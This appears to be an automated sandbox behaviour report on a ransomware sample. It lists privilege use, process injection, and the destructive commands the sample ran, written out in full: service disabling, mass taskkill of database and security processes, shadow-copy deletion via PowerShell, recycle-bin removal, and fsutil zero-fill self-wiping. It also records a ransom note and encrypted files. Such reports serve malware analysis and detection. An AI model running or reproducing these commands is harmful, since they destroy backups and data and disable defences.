N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A

Suspicious use of FindShellTrayWindow

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A

Suspicious use of SendNotifyMessage

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 1744 wrote to memory of 2428	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\sc.exe
PID 1744 wrote to memory of 2428	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\sc.exe
PID 1744 wrote to memory of 2428	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\sc.exe
PID 1744 wrote to memory of 2440	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\cmd.exe
PID 1744 wrote to memory of 2440	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\cmd.exe
PID 1744 wrote to memory of 2440	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\cmd.exe
PID 1744 wrote to memory of 2904	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\sc.exe
PID 1744 wrote to memory of 2904	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\sc.exe
PID 1744 wrote to memory of 2904	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\sc.exe
PID 1744 wrote to memory of 2252	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\sc.exe
PID 1744 wrote to memory of 2252	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\sc.exe
PID 1744 wrote to memory of 2252	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\sc.exe
PID 1744 wrote to memory of 2080	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\sc.exe
PID 1744 wrote to memory of 2080	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\sc.exe
PID 1744 wrote to memory of 2080	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\sc.exe
PID 1744 wrote to memory of 2664	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2664	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2664	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2740	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2740	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2740	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2672	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2672	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2672	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2380	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2380	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2380	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2624	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2624	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2624	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2792	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2792	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2792	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2652	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2652	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2652	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2296	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2296	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2296	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2680	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2680	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2680	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 1748	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 1748	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 1748	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2864	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2864	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2864	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2896	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2896	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2896	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2544	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2544	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2544	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 3024	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 3024	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 3024	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2416	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2416	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2416	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2216	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2216	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2216	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe
PID 1744 wrote to memory of 2632	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\system32\taskkill.exe

Processes

C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe

"C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe"

C:\Windows\system32\sc.exe

"sc.exe" config SQLTELEMETRY start= disabled

C:\Windows\system32\cmd.exe

"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin

C:\Windows\system32\sc.exe

"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled

C:\Windows\system32\sc.exe

"sc.exe" config SQLWriter start= disabled

C:\Windows\system32\sc.exe

"sc.exe" config SstpSvc start= disabled

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mspub.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mydesktopqos.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mydesktopservice.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mysqld.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM sqbcoreservice.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM firefoxconfig.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM agntsvc.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM thebat.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM steam.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM encsvc.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM excel.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM CNTAoSMgr.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM sqlwriter.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM tbirdconfig.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM dbeng50.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM thebat64.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM ocomm.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM infopath.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mbamtray.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM zoolz.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" IM thunderbird.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM dbsnmp.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM xfssvccon.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mspub.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM Ntrtscan.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM isqlplussvc.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM onenote.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM PccNTMon.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM msaccess.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM outlook.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM tmlisten.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM msftesql.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM powerpnt.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mydesktopqos.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM visio.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mydesktopservice.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM winword.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mysqld-nt.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM wordpad.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mysqld-opt.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM ocautoupds.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM ocssd.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM oracle.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM sqlagent.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM sqlbrowser.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM sqlservr.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM synctime.exe /F

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }

C:\Windows\System32\notepad.exe

"C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

C:\Windows\system32\cmd.exe

"cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe

C:\Windows\system32\PING.EXE

ping 127.0.0.7 -n 3

C:\Windows\system32\choice.exe

choice /C Y /N /D Y /T 3

C:\Windows\system32\fsutil.exe

fsutil file setZeroData offset=0 length=524288 “%s”

Network

N/A

Files

memory/1744-0-0x000007FEF53E3000-0x000007FEF53E4000-memory.dmp

memory/1744-1-0x0000000000E80000-0x0000000000E9A000-memory.dmp

memory/1744-3-0x000007FEF53E0000-0x000007FEF5DCC000-memory.dmp

memory/1988-11-0x0000000002000000-0x0000000002008000-memory.dmp

memory/1988-10-0x000000001B510000-0x000000001B7F2000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5	2e351019cc687a2cdccdedf866cc9a8f
SHA1	db812412755769fea8667a9068ac93dd08f59fd2
SHA256	d1d47225d3279ffd401cf7e934c34c7b58092d54d5897aa6104da2fbccfdd35d
SHA512	cacaf5ffe5654671b2f6052a90964e9d626bc71ba4b7380b909965e6113d0f16df422b71a7dce7d95f555322c41bbf153fa4bbfc0ed0550883d5ed708aa44980

C:\ProgramData\Package Cache\{BF08E976-B92E-4336-B56F-2171179476C4}v14.30.30704\packages\vcRuntimeAdditional_x86\vc_runtimeAdditional_x86.msi.energy[[email protected]]

MD5	636e45c1d3f5f5f5d5f8728ae1370442
SHA1	8c49c465ed653ca7cf93339b5bd237bafe1e7f74
SHA256	14d29810e2f3f3e40c14a4b01c054e453262690482e466f7824eee7a670ea0c7
SHA512	4392e9ab23fc697708308bdcdfab719bf63ec12590eab884aa9ed029d966fc11fbad8bc85ce043f48a22171160b155abfddee08b777e56ebc176fa11f9594e6b

C:\ProgramData\Microsoft\Assistance\Client\1.0\es-ES\Help_MValidator.Lck.energy[[email protected]]

MD5	28259de6c252adace746e554b45a3314
SHA1	a2045abd7cca7498224114ff40deef524de0927f
SHA256	60e7da311d9389d25452d17d225a7f6691cd9da86570483ab2693c2ba9bb385a
